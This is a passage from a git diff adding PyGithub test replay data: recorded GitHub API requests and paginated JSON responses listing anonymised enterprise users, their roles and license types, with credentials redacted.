collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user029","github_com_name":"beaver-user029","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user029","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user029@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user030","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user030","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} diff --git a/tests/ReplayData/EnterpriseAdmin.testGetEnterpriseUsers.txt b/tests/ReplayData/EnterpriseAdmin.testGetEnterpriseUsers.txt new file mode 100644 index 0000000000..a300c66c3d --- /dev/null +++ b/tests/ReplayData/EnterpriseAdmin.testGetEnterpriseUsers.txt @@ -0,0 +1,43 @@ +https +GET +api.github.com +None +/enterprises/beaver-group/consumed-licenses +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cec25a870aded5f7c26c9e549d31f9b91d887121b0f77b72446fe2f4a8eaf6d2"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4829'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '171'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F8E3:4B9F:2EB3A7:310B95:64C1FE38')] +{"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user001","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user001","github_com_member_roles":["beaver-admin-dev:Owner","beaver-external:Owner","beaver-general:Owner","beaver-training:Owner","beaver:Owner"],"github_com_enterprise_roles":["Owner","Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user002","github_com_name":"beaver-user002","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user002","github_com_member_roles":[],"github_com_enterprise_roles":["Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user003","github_com_name":"beaver-user003","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user003","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user003@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user004","github_com_name":"beaver-user004","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user004","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user005","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user005","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user006","github_com_name":"beaver-user006","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user006","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user007","github_com_name":"beaver-user007","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user007","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user008","github_com_name":"beaver-user008","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user008","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user009","github_com_name":"beaver-user009","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user009","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user010","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user010","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user011","github_com_name":"beaver-user011","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user011","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator","Pending outside collaborator invitation"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user012","github_com_name":"beaver-user012","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user012","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user013","github_com_name":"beaver-user013","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user013","github_com_member_roles":["beaver-admin-dev:Owner","beaver-external:Owner","beaver-general:Owner","beaver-training:Owner","beaver:Owner"],"github_com_enterprise_roles":["Owner","Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user013@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user014","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user014","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user015","github_com_name":"beaver-user015","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user015","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user016","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user016","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user016@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user017","github_com_name":"beaver-user017","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user017","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user018","github_com_name":"beaver-user018","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user018","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user019","github_com_name":"beaver-user019","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user019","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user020","github_com_name":"beaver-user020","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user020","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user020@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user021","github_com_name":"beaver-user021","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user021","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user022","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user022","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user022@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user023","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user023","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user024","github_com_name":"beaver-user024","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user024","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user025","github_com_name":"beaver-user025","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user025","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user026","github_com_name":"beaver-user026","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user026","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user027","github_com_name":"beaver-user027","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user027","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user027@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user028","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user028","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user029","github_com_name":"beaver-user029","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user029","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user029@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user030","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user030","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1}]} + +https +GET +api.github.com +None +/enterprises/beaver-group/consumed-licenses?page=2 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Thu, 27 Jul 2023 05:18:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4ef4c3608e49b9c67c3c8a20c4379a15b998aae0cd83cf8d654de0862baff233"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'admin:enterprise, manage_billing:enterprise, read:enterprise'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4827'), ('X-RateLimit-Reset', '1690436729'), ('X-RateLimit-Used', '173'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '3612:2A2F:2E4F58:30A766:64C1FE39')] +{"total_seats_consumed":102,"total_seats_purchased":103,"users":[{"github_com_login":"beaver-user031","github_com_name":"beaver-user031","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user031","github_com_member_roles":[],"github_com_enterprise_roles":[],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user031@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user032","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user032","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user032@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user033","github_com_name":"beaver-user033","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user033","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user034","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user034","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user035","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user035","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user036","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user036","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to Cloud","visual_studio_subscription_email":"beaver-user036@beaver.co.jp","total_user_accounts":1},{"github_com_login":"beaver-user037","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user037","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user038","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user038","github_com_member_roles":["beaver-external:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user039","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user039","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user040","github_com_name":"beaver-user040","enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user040","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user041","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":false,"license_type":"Enterprise","github_com_profile":"https://github.com/beaver-user041","github_com_member_roles":[],"github_com_enterprise_roles":["Outside collaborator"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":null,"visual_studio_subscription_email":null,"total_user_accounts":1},{"github_com_login":"beaver-user042","github_com_name":null,"enterprise_server_user_ids":[],"github_com_user":true,"enterprise_server_user":false,"visual_studio_subscription_user":true,"license_type":"Visual Studio subscription","github_com_profile":"https://github.com/beaver-user042","github_com_member_roles":["beaver-external:Member","beaver-general:Member","beaver-training:Member"],"github_com_enterprise_roles":["Member"],"github_com_verified_domain_emails":[],"github_com_saml_name_id":null,"github_com_orgs_with_pending_invites":[],"github_com_two_factor_auth":true,"enterprise_server_primary_emails":[],"visual_studio_license_status":"Matched to 